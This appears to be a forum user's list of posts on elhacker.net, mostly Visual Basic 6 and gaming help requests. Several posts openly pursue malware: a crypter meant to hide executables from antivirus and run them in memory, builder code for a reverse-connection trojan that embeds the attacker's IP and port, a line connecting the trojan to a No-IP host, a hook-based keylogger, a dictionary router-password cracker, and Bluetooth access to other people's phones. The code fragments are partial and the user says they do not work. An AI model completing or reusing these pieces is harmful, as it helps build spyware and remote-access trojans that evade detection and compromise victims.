   Case ERROR_INTERNETOPEN: mvarStatusText = "Error en InternetOpen."
   Case ERROR_INTERNETCONNECT: mvarStatusText = "Error en InternetConnect."
   Case ERROR_INTERNETOPENREQUEST: mvarStatusText = "Error en InternetOpenRequest."
   Case ERROR_INTERNETSENDREQUEST: mvarStatusText = "Error en InternetSendRequest."
   Case ERROR_INTERNETQUERYINFO: mvarStatusText = "Error en InternetQueryInfo."
   Case ERROR_INTERNETREADFILE: mvarStatusText = "Error en InternetReadFile."
   Case ERROR_FICHERO: mvarStatusText = "No se ha podido crear el fichero de destino."
   Case ERROR_DESCARGA: mvarStatusText = "Ha ocurrido un error durante la descarga."
   Case ERROR_CANCELADO: mvarStatusText = "Descarga cancelada por el usuario."
End Select
CierraConexiones
mvarHuboError = True
End Sub

Public Property Get StatusText() As String
'se usa al recuperar un valor de una propiedad, en la parte derecha de una asignación.
'Syntax: Debug.Print X.StatusText
   StatusText = mvarStatusText
End Property





Public Property Get StatusCode() As String
'se usa al recuperar un valor de una propiedad, en la parte derecha de una asignación.
'Syntax: Debug.Print X.StatusCode
   StatusCode = mvarStatusCode
End Property





Public Property Get HuboError() As Boolean
'se usa al recuperar un valor de una propiedad, en la parte derecha de una asignación.
'Syntax: Debug.Print X.HuboError
   HuboError = mvarHuboError
End Property



Public Property Let URL(ByVal vData As String)
'se usa al asignar un valor a la propiedad, en la parte izquierda de una asignación.
'Syntax: X.URL = 5
Dim i As Long, j As Long

mvarURL = vData
URLCorrecta = ProcesaURL()
       
End Property

Public Property Get URL() As String
'se usa al recuperar un valor de una propiedad, en la parte derecha de una asignación.
'Syntax: Debug.Print X.URL
   URL = mvarURL
End Property



Private Function ProcesaURL() As Boolean
Dim i As Long, j As Long

On Error GoTo ProcesaURL_Err

ProcesaURL = False
'descomponemos la url en protocolo, servidor y objeto
'busco el protocolo
i = InStr(mvarURL, "://")
If i = 0 Then
   'si no existe asumimos que es http
   Protocolo = "http"
   i = 1
Else
   Protocolo = LCase(Mid(mvarURL, 1, i - 1))
   i = i + 3
End If
'sólo permitimos http
Select Case Protocolo
   Case "http":
   Case "https":
   Case Else: ProcesaError ERROR_URL
End Select
'busco el servidor
j = InStr(i, mvarURL, "/")
If j = 0 Then j = Len(mvarURL) + 1
Servidor = Mid(mvarURL, i, j - i)
i = j + 1
'busco el objeto a descargar
If i > Len(mvarURL) Then
   Objeto = vbNullString
Else
   Objeto = "/" & Mid(mvarURL, i)
End If
ProcesaURL = True

ProcesaURL_End:
   Exit Function

ProcesaURL_Err:
   ProcesaError ERROR_URL
   Resume ProcesaURL_End

End Function

Private Sub Class_Initialize()
TipoConexion = INTERNET_OPEN_TYPE_PRECONFIG
mvarQContentLength = True
Servicio = INTERNET_SERVICE_HTTP
mvarBytesBloqueDescarga = 512
End Sub


Private Sub Class_Terminate()
CierraConexiones
End Sub


¿Alguien podría darme alguna idea? Si existe otra forma de hacer las múltiples descargas con este módulo, etc...

Saludos, y gracias de antemano.
#56
Hola. Quisiera saber como obtener el título de un link con el control WebBrowser. Por ejemplo:

Foro de elhacker.net

Quisiera obtener el texto "Foro de elhacker.net".

¿Existe algúna función del control WebBrowser que me lo devuelva?

Saludos, y gracias de antemano.

#57
Hacking Mobile / Hack Bluetooth desde PC
19 Junio 2009, 01:14 AM
Hola. Estaba buscando algún programa similar a los de teléfono móvil para acceder a otros móviles por Bluetooth, pero no encuentro nada. Tengo un adaptador USB, y me gustaría probar.

¿Alguien sabe de algún programa o alguna forma para hacerlo?

Gracias de antemano.
#58
Hola. Estoy haciendo un buscador para Goear, y para que añada los enlaces que encuentra en una búsqueda a un ListView, lo que hago es poner el código para ello en el evento NavigateComplete2 del WebBrowser. Esto es lo que tengo:

Código (vb) [Seleccionar]
Private Sub web_NavigateComplete2(ByVal pDisp As Object, URL As Variant)
    On Error Resume Next
    Dim sNombreCorto As String
    Dim i As Integer
    For i = 0 To web.Document.links.Length - 1
        If Left(web.Document.links.Item(i), 24) = "http://goear.com/listen/" Then
            sNombreCorto = Mid(web.Document.links.Item(i), 33)
            With lvwBusqueda.ListItems.Add(, , sNombreCorto)
                .SubItems(1) = web.Document.links.Item(i)
            End With
        End If
    Next
    DoEvents
    EliminarDuplicados lvwBusqueda
    iPaginaBusqueda = iPaginaBusqueda + 1
End Sub


Lo que quería hacer era que en cuanto acabase de cargar los enlaces, pasase a la siguiente página de resultados, pero directamente intenta cargar la siguiente y no añade nada.

¿Cómo podría hacerlo?

Gracias de antemano.
#59
Hola. Estaba pensando en crear una utilidad para descargar música de Goear. Vi algunos ejemplos de páginas que lo hacen, pero lo que necesito saber es como obtener el link del MP3. Tenía pensado desarrollarlo en VB.

Gracias de antemano.
#60
Multimedia / Pegando subtítulos en película
30 Abril 2009, 16:41 PM
Hola. Intenté pegar subtítulos en formato SRT a una película en AVI, pero no soy capaz. Probé con el SpanishDub y el filtro Subtitler, siguiendo un tutorial, pero me aparecen en la parte de arriba del vídeo. ¿Por qué puede ser?

Gracias de antemano.
#61
Hola. Acabo de bajar el Need for Speed Most Wanted, y cuando quiero instalarlo, me dice que no se detecta DirectX 9.0c
Estoy bajo Windows Vista, y ya me tiene pasado que me diga que la versión no es 9.0, aunque la instale.

¿Qué puede ser? Porque algunos juegos pierden rendimiento por culpa de esto.

Gracias de antemano.
#62
Hola. Estoy trabajando con VB 6 en Vista y resulta que cuando coloco los controles se ve medio ralentizado y con muchos fallos, y no soy capaz de colocar los controles correctamente.

Gracias de antemano.
#63
Hola. Estoy creando un programa para enviar invitaciones de amigo a usuarios de YouTube en VB 6. Conseguí obtener la lista de usuarios a partir de la página que estás viendo, pero no soy capaz de automatizar el proceso de envío de la invitación. Estuve viendo el código fuente, pero no encuentro nada. Tenía pensado crearlo en HTML.

¿Alguien sabe como se puede conseguir?

Encontré esto, pero como no soy de programación web, no se como tratarlo.

Código (html4strict) [Seleccionar]
<form name="friending" method="post" action="/profile?user=NOMBREUSUARIO">
<div class="smallText">
<input type="hidden" value="invite_user" name="action_friending">
<a id="aProfileAddFriend" href="#" onclick="document.friending.submit(); return false;"><img src="http://s.ytimg.com/yt/img/pixel-vfl73.gif" id="profileAddFriend" class="icnProperties" alt="Añadir como amigo">Añadir como amigo</a>
</div>
</form>


Gracias de antemano.

(Esto mismo lo publiqué en el foro de programación web, pero como trabajo con VB, pues también lo pongo aquí.)
#64
Multimedia / Problema con Movie Maker en Vista
22 Enero 2009, 20:41 PM
Hola. Estoy utilizando el Movie Maker en Vista. Al principio los vídeos me los importaba bien, pero ahora cada vez que intento importar un vídeo, y sobre todo si es de gran tamaño, se me cierra diciendo que tuvo un problema. El último problema lo tuve con un vídeo de 1.33 Gb que grabé con Fraps. ¿Qué puede pasar?

Gracias de antemano.
#65
Hola. Había encontrado un ejemplo que permitía guardar lo introducido en unos TextBox en XML como una base de datos, y posteriormente poder leerlos, pero ahora mismo no se donde encontrarlo. Agradecería algún ejemplo.

Gracias de antemano.
#66
Juegos y Consolas / Problema con todo tipo de juegos
23 Diciembre 2008, 15:05 PM
Hola. Si este tema no va aquí por favor cambiadlo. Tengo un AMD Athlon 64 X2 Dual Core Processor+ 2.10 GHz, con 2 GB de RAM, y una tarjeta de vídeo NVIDIA GeForce 6150SE nForce 430 de 1GB de memoria. Cuando lo compré venía con Vista, y juegos como SW Battlefront II funcionaban con la calidad de gráficos alta, pero después instalé XP y ahora volví a Vista. El problema es que ningún juego puede tener los gráficos a un alto nivel, todos deben tenerlos bajos, porque sino se ralentiza mucho. Tengo instalados todos los drivers, pero no me explico que puede pasar.

¿Alguien puede ayudarme?

Gracias de antemano.
#67
Juegos y Consolas / Ripeo de juegos PSX
17 Noviembre 2008, 23:58 PM
Hola. Conseguí varios tutoriales para ripear juegos de PSX, pero siempre me quedan con una media de 350 MB por juego, y me he descargado algunos que solo ocupan 20 o 30 MB. ¿Sabe alguien como puedo ripearlos bien, o como debo hacer para reducir el tamaño?

Gracias de antemano.
#68
Hola. ¿Existe algún kit de desarrollo o algo para trabajar con Bluetooth en VB? Vi ejemplos que utilizan los puertos COM, pero no funcionaban bien.

Gracias de antemano.
#69
Hola. Estuve buscando la manera de extraer la información de un ejecutable (compañía, marcas registradas, etc...) y posteriormente poder editarla, pero no encontré nada.

¿Alguien puede ponerme un ejemplo?

Gracias de antemano
#70
Hola. Estuve buscando la manera de guardar el contenido de un PictureBox como un icono, pero los ejemplos que encontré no funcionan. ¿Alguien sabe como podría hacerlo?

Gracias de antemano.
#71
Vuelvo otra vez con mi crypter. Me descargué un ejemplo de cambio de icono completamente funcional y añadí los módulos a mi proyecto. Probé de las siguientes maneras:

- Extraigo el icono del ejecutable original, lo guardo en la carpeta del programa y luego, después de cifrar el ejecutable, lo cambio. Pero no lo hace, ya que el icono está inservible y da error al intentar cambiarlo. Cuando cierro el IDE de VB el icono ya está bien.

- Hago que se seleccione el icono para el ejecutable. En el ejemplo funcionaba correctamente, pero en el ejecutable cifrado lo que hace es dejarlo inservible.

¿Alguien sabe qué puede pasar? Es que no paro de romperme la cabeza con este problema. Estuve buscando algún ejemplo de extracción de icono, pero siempre pasa lo mismo al cambiarlo.

Gracias de antemano.
#72
Hola. Estoy utilizando los módulos de cambio de icono para un crypter. Consigo extraer y guardar el icono del ejecutable original, pero cuando utilizo la función ReplaceIcons, me dice que no es una imagen válida.

¿Alguien sabe de otro módulo para cambiar el icono, o por qué me puede fallar?

Gracias de antemano.
#73
Hola. He estado buscando la guía de este juego, pero no la doy encontrado. Si alguien me la pudiese pasar, se lo agradecería. Aunque si también me pueden decir a donde debo ir después de encontrarme con todos los maestros jedi, porque pienso que me reuní con todos y ahora no sé que debo hacer.

Gracias de antemano.
#74
Hola. Le añadí a mi crypter una función que hace que cuando se le da al botón de cifrar, se extraiga el icono del ejecutable original (código de RecursosVisualBasic), lo coloque en un PictureBox y posteriormente lo guarde. El problema es que no lo hace. Me crea el archivo, pero es inservible, y después el módulo de cambio de icono me dice que el archivo no es válido (algo obvio). ¿Alguien me puede dar una idea?

EDITO: acabo de volver a probarlo, y me di cuenta de que después de cerrar el IDE de VB, el archivo del icono ya no es inservible.

Gracias de antemano.
#75
Programación Visual Basic / Generador de cartas
20 Octubre 2008, 21:33 PM
Hola. Qusiera saber como podría hacer un simple programa que muestre una tirada de cartas de BlackJack. Es decir, lo que hace un croupier en el casino, pero con un programa.

Gracias de antemano.
#76
Hola. Estoy utilizando el módulo de cobein mRunPE para ejecutar un archivo en memoria. Lo que hago es abrir el archivo y obtener los datos, que los guardo en una variable Byte. El problemas es que necesito hacer un split de los datos, ya que es el stub de un crypter, por lo que no soy capaz de hacerlo, y que luego pueda utilizar la función RunPE con el valor que yo desee del split. ¿Alguien me puede ayudar?

Gracias de antemano.
#77
Hola. Estoy creando un crypter, y después de descifrar el archivo quería que se ejecutase en memoria y no desde el archivo, ya que los antivirus lo detectarían. Estuve pensando en utilizar el módulo de cobein para tal efecto, pero no sé si funcionaría.

¿Alguna idea? Gracias de antemano.
#78
Hola. Para un troyano que estoy diseñando utilizo un ListView donde mostrar las conexiones. Para realizar las acciones sobre el servidor, hago click en una de las conexiones, y el valor del Index se almacena en una variable. Luego hago que las funciones utilizen WS(i_ConexionSeleccionada) para enviar los datos.

Pero la duda que tengo es: si no tengo nada seleccionado, ¿como hago para que no despliegue el menú popup?
Si lo pongo para que detecte que la variable está a 0 no funcionaría, ya que el Index de WS es 0 y va aumentando con cada conexión.

¿Alguna idea? Lo agradecería.

Gracias de antemano.
#79
Hola. Estoy creando un keylogger. Al principio utilizaba GetAsyncKeyState, pero me di cuenta de que era mejor utilizar un hook. Estuve viendo varios códigos, por ejemplo este:

http://www.hackstore.net/forum/index.php?topic=13582.msg322430

El problema es que las teclas se almacenan en un array, y lo que intenté hacer era que detectase si la variable keyCode era igual al valor de una tecla establecida, se introdujese en la variable que guarda el resultado del keylogger, pero no fui capaz. ¿Alguna idea?

Gracias de antemano.
#80
Hola. Quisiera saber como debo usar LINK.exe desde la línea de comandos para compilar los proyectos de VB externamente, ya que quiero crear módulos desde un programa y después compilarlos a EXE. Aunque tuviese que utilizar los archivos de proyecto para compilar no importaría, lo que más me interesa es como utilizar el compilador desde la línea de comandos.

Gracias de antemano.
#81
Programación Visual Basic / Duda haciendo un crypter
26 Septiembre 2008, 17:09 PM
Hola. Estoy creando un pequeño crypter en VB y me surgió una duda. Si se supone que el stub ocupa 7kb, ¿por qué cuando cifro el ejecutable me sube más el tamaño?
Es decir, hice una prueba con un ejecutable de 28kb, lo encripté y en vez de quedarse en 35kb me subió a 70kb. ¿Alguien sabe por qué puede ser?

Gracias de antemano.
#82
Hola. No sé si esto debería ir aquí. De no ser así pido por favor al moderador que lo cambie de lugar. Quisiera saber que tipo de caracteres admite la contraseña de la cuenta de Steam.

Gracias de antemano.
#83
Hola. Quisiera saber como puedo hacer Split de un texto desde una determinada posición.

Gracias de antemano.
#84
Hola. Estoy usando un módulo de clase que conseguí en RecursosVisualBasic que me permite modificar el registro. Las claves las crea perfectamente, pero no soy capaz de leerlas. Este es el código:

Código (vb) [Seleccionar]
Option Explicit

'Declaración de constantes
'****************************
Private Const REG_SZ As Long = 1
Private Const REG_DWORD As Long = 4

Private Const ERROR_NONE = 0
Private Const ERROR_BADDB = 1
Private Const ERROR_BADKEY = 2
Private Const ERROR_CANTOPEN = 3
Private Const ERROR_CANTREAD = 4
Private Const ERROR_CANTWRITE = 5
Private Const ERROR_OUTOFMEMORY = 6
Private Const ERROR_INVALID_PARAMETER = 7
Private Const ERROR_ACCESS_DENIED = 8
Private Const ERROR_INVALID_PARAMETERS = 87
Private Const ERROR_NO_MORE_ITEMS = 259
Private Const KEY_ALL_ACCESS = &H3F
Private Const REG_OPTION_NON_VOLATILE = 0

'Declaración de las funciones api para el registro
'*************************************************

Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Declare Function RegCreateKeyEx Lib "advapi32.dll" Alias "RegCreateKeyExA" _
       (ByVal hKey As Long, _
        ByVal lpSubKey As String, _
        ByVal Reserved As Long, _
        ByVal lpClass As String, _
        ByVal dwOptions As Long, _
        ByVal samDesired As Long, _
        ByVal lpSecurityAttributes As Long, _
        phkResult As Long, _
        lpdwDisposition As Long) As Long

Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" _
       (ByVal hKey As Long, _
        ByVal lpSubKey As String, _
        ByVal ulOptions As Long, _
        ByVal samDesired As Long, _
        phkResult As Long) As Long

Private Declare Function RegQueryValueExString Lib "advapi32.dll" Alias "RegQueryValueExA" _
       (ByVal hKey As Long, _
        ByVal lpValueName As String, _
        ByVal lpReserved As Long, _
        lpType As Long, _
        ByVal lpData As String, _
        lpcbData As Long) As Long

Private Declare Function RegQueryValueExLong Lib "advapi32.dll" Alias "RegQueryValueExA" _
       (ByVal hKey As Long, _
        ByVal lpValueName As String, _
        ByVal lpReserved As Long, _
        lpType As Long, _
        lpData As Long, _
        lpcbData As Long) As Long

Private Declare Function RegQueryValueExNULL Lib "advapi32.dll" Alias "RegQueryValueExA" _
       (ByVal hKey As Long, _
        ByVal lpValueName As String, _
        ByVal lpReserved As Long, _
        lpType As Long, _
        ByVal lpData As Long, _
        lpcbData As Long) As Long

Private Declare Function RegSetValueExString Lib "advapi32.dll" Alias "RegSetValueExA" _
        (ByVal hKey As Long, _
         ByVal lpValueName As String, _
         ByVal Reserved As Long, _
         ByVal dwType As Long, _
         ByVal lpValue As String, _
         ByVal cbData As Long) As Long
Private Declare Function RegSetValueExLong Lib "advapi32.dll" Alias _
         "RegSetValueExA" (ByVal hKey As Long, _
         ByVal lpValueName As String, _
         ByVal Reserved As Long, _
         ByVal dwType As Long, _
         lpValue As Long, _
         ByVal cbData As Long) As Long

Private Declare Function RegDeleteKey& Lib "advapi32.dll" Alias "RegDeleteKeyA" _
        (ByVal hKey As Long, _
         ByVal lpSubKey As String)

Private Declare Function RegDeleteValue& Lib "advapi32.dll" Alias "RegDeleteValueA" _
        (ByVal hKey As Long, _
         ByVal lpValueName As String)


'Funciones públicas para crear, eliminar, consultar los datos
'****************************************************************
' Función que elimina una clave especifica utilizando el Api RegDeleteKey
Public Function EliminarClave(clave As Long, Nombre_clave As String)
    Dim ret As Long
    ret = RegDeleteKey(clave, Nombre_clave)
End Function
' Función que elimina un dato utilizando el Api RegDeleteValue
Public Function EliminarValor(clave As Long, _
                              Nombre_clave As String, _
                              Nombre_valor As String)
       Dim ret As Long
       Dim Handle_clave As Long

       ' Abre la clave del registro
       ret = RegOpenKeyEx(clave, Nombre_clave, 0, KEY_ALL_ACCESS, Handle_clave)
       'Elimina el valor del registro
       ret = RegDeleteValue(Handle_clave, Nombre_valor)
       'Cierra la vlave del registro abierta
       RegCloseKey (Handle_clave)
End Function

' Función que crea una nueva Clave utilizando el Api RegCreateKeyEx
Public Function CrearNuevaClave(clave As Long, Nombre_clave As String)

    Dim Handle_clave As Long
    Dim ret As Long

    ret = RegCreateKeyEx(clave, _
                         Nombre_clave, 0&, vbNullString, _
                         REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, 0&, _
                         Handle_clave, ret)

    RegCloseKey (Handle_clave)

End Function
' Función que establece un nuevo valor mediante el Api SetValueEx

Public Function EstablecerValor(clave As Long, _
                                Nombre_clave As String, _
                                Nombre_valor As String, _
                                el_Valor As Variant, _
                                Tipo_Valor As Long)


       Dim ret As Long
       Dim Handle_clave As Long

       ret = RegOpenKeyEx(clave, Nombre_clave, 0, KEY_ALL_ACCESS, Handle_clave)
       ret = SetValueEx(Handle_clave, Nombre_valor, Tipo_Valor, el_Valor)

       RegCloseKey (Handle_clave)

End Function
' Función que consulta un dato del registro usando QueryValueEx
Public Function ConsultarValor(clave As Long, Nombre_clave As String, Nombre_valor As String)

       Dim Handle_clave As Long
       Dim valor As Variant

       Dim ret As Long

       ret = RegOpenKeyEx(clave, Nombre_clave, 0, KEY_ALL_ACCESS, Handle_clave)

       ret = QueryValueEx(Handle_clave, Nombre_valor, valor)
       ' REtorna el valor del registro a la función
       ConsultarValor = valor
       'Cierra la clave abierta del registro
       RegCloseKey (Handle_clave)
End Function

' Funciones privadas del módulo
Private Function SetValueEx(ByVal Handle_clave As Long, _
                            Nombre_valor As String, _
                            Tipo As Long, _
                            el_Valor As Variant) As Long

    Dim ret As Long
    Dim sValue As String

    Select Case Tipo

        ' Valor de tipo cadena
        Case REG_SZ

            sValue = el_Valor
            SetValueEx = RegSetValueExString(Handle_clave, _
                                             Nombre_valor, 0&, _
                                             Tipo, sValue, Len(sValue))

        'Valor Entero
        Case REG_DWORD
            ret = el_Valor
            SetValueEx = RegSetValueExLong(Handle_clave, Nombre_valor, 0&, Tipo, ret, 4)
        End Select
End Function
Private Function QueryValueEx(ByVal lhKey As Long, _
                              ByVal Name_Valor As String, _
                              el_Valor As Variant) As Long
    Dim cch As Long
    Dim lrc As Long
    Dim Tipo As Long
    Dim ret_Valor As Long
    Dim dato As String
    On Error GoTo QueryValueExError
    lrc = RegQueryValueExNULL(lhKey, Name_Valor, 0&, Tipo, 0&, cch)
    If lrc <> ERROR_NONE Then Error 5
    Select Case Tipo
        Case REG_SZ:
            dato = String(cch, 0)
            lrc = RegQueryValueExString(lhKey, Name_Valor, 0&, Tipo, dato, cch)
If lrc = ERROR_NONE Then
                el_Valor = Left$(dato, cch)
Else
                el_Valor = Empty
End If
        Case REG_DWORD:
            lrc = RegQueryValueExLong(lhKey, Name_Valor, 0&, Tipo, ret_Valor, cch)
            If lrc = ERROR_NONE Then el_Valor = ret_Valor
        Case Else
            lrc = -1
    End Select
QueryValueExExit:
    QueryValueEx = lrc
    Exit Function
QueryValueExError:
    Resume QueryValueExExit
End Function


Yo utilizo:
Código (vb) [Seleccionar]
MsgBox cRegistro.ConsultarValor(&H80000002, "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\", "")

¿Alguien sabe por qué puede ser? Gracias de antemano.
#85
Hola. Estoy diseñando el editor de servidor de mi troyano. Al ser de conexión inversa, en el servidor tiene que figurar la dirección IP y el puerto al que se debe conectar. Utilizo este código para crearlo:

Código (vb) [Seleccionar]
'#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
'    //CargarRes//
'#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
'   Extraer archivo de los recursos.
'#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
Public Sub CargarRes(NumRES As Integer, RutaCopy As String)
    Dim File() As Byte
    If Dir(RutaCopy) = "" Then
        File = LoadResData(NumRES, "CUSTOM")
        Open RutaCopy For Binary Access Write As #1
            Put #1, , File
        Close #1
    End If
End Sub

'#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
'    //cmdCrearServidor_Click//
'#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
Private Sub cmdCrearServidor_Click()
    If txtPuerto.Text > 65535 Then
        MsgBox "El puerto debe ser inferior a 65535"
        Exit Sub
    End If
    cd.Filter = "Archivos ejecutables|*.exe"
    cd.DialogTitle = "Generar servidor..."
    cd.ShowSave
    Ruta = cd.FileName
    Call CargarRes(102, cd.FileName)
    Open Ruta For Binary As #1
        Put #1, LOF(1) + 1, txtDireccionIP.Text
        Put #1, , "|"
        Put #1, , txtPuerto.Text
    Close #1
End Sub


Y este es el que lee los datos:

Código (vb) [Seleccionar]
'#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
'    //LeerDatos//
'#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
'   Leer datos del servidor.
'#++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
Dim DireccionIP As String * 15
Dim Puerto As String * 5
Dim Secuencia As String * 30

Public Function LeerDatos()
    Dim Secuencia As String * 30
    Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
        Get #1, LOF(1) - 34, DireccionIP
        Get #1, , Secuencia
        Get #1, , Puerto
    Close #1
    MsgBox DireccionIP & "|" & Puerto
End Function


Pero no soy capaz de hacer que lea los datos. La caja de mensaje me aparece vacía. ¿Alguien me puede decir como lo hago?

Gracias de antemano.
#86
Hola. Estoy creando un downloader de vídeos de YouTube. El problema que tengo es que no soy capaz de tratar el link del vídeo para su descarga. ¿Alguien podría decirme como hacerlo?

Gracias de antemano.
#87
Software / Problema con grabadora de DVD
17 Septiembre 2008, 13:39 PM
Hola. Tengo una grabadora de DVD TSSTcorp CDDVDW TS-H653N. Antes tenía instalado Vista y me funcionaba perfectamente, pero lo desinstalé y puse XP. El problema es que ahora no puedo grabar DVDs, solo CDs. Estuve buscando los drivers para XP, pero no encuentro nada. ¿Alguien me podría ayudar?

Gracias de antemano.
#88
Hola. Me hice una cuenta No-IP para que el servidor de mi troyano en VB se conectara a ella. Puse:

Código (vb) [Seleccionar]
WS.Connect "nombredemihost.no-ip.org", 20024

El problema es que no me conecta. ¿Alguien podría decirme que debo hacer?

Gracias de antemano.
#89
Programación Visual Basic / Detectar Windows Vista
13 Septiembre 2008, 02:58 AM
Hola. Quisiera saber si la API GetVersionEx también detecta Windows Vista y en ese caso, como sería.

Gracias de antemano.
#90
Hola. Estoy intentando hacer un crackeador de contraseñas de router en VB. La idea sería: hay dos diccionarios (usuarios y contraseñas), se coge uno de cada diccionario, se introduce en la ventana que pide contraseña del Firefox y se acepta mediante SendKeys.

Estoy intentando hacerlo con SetWindowText, pero no me funciona. ¿Alguna idea?

Saludos.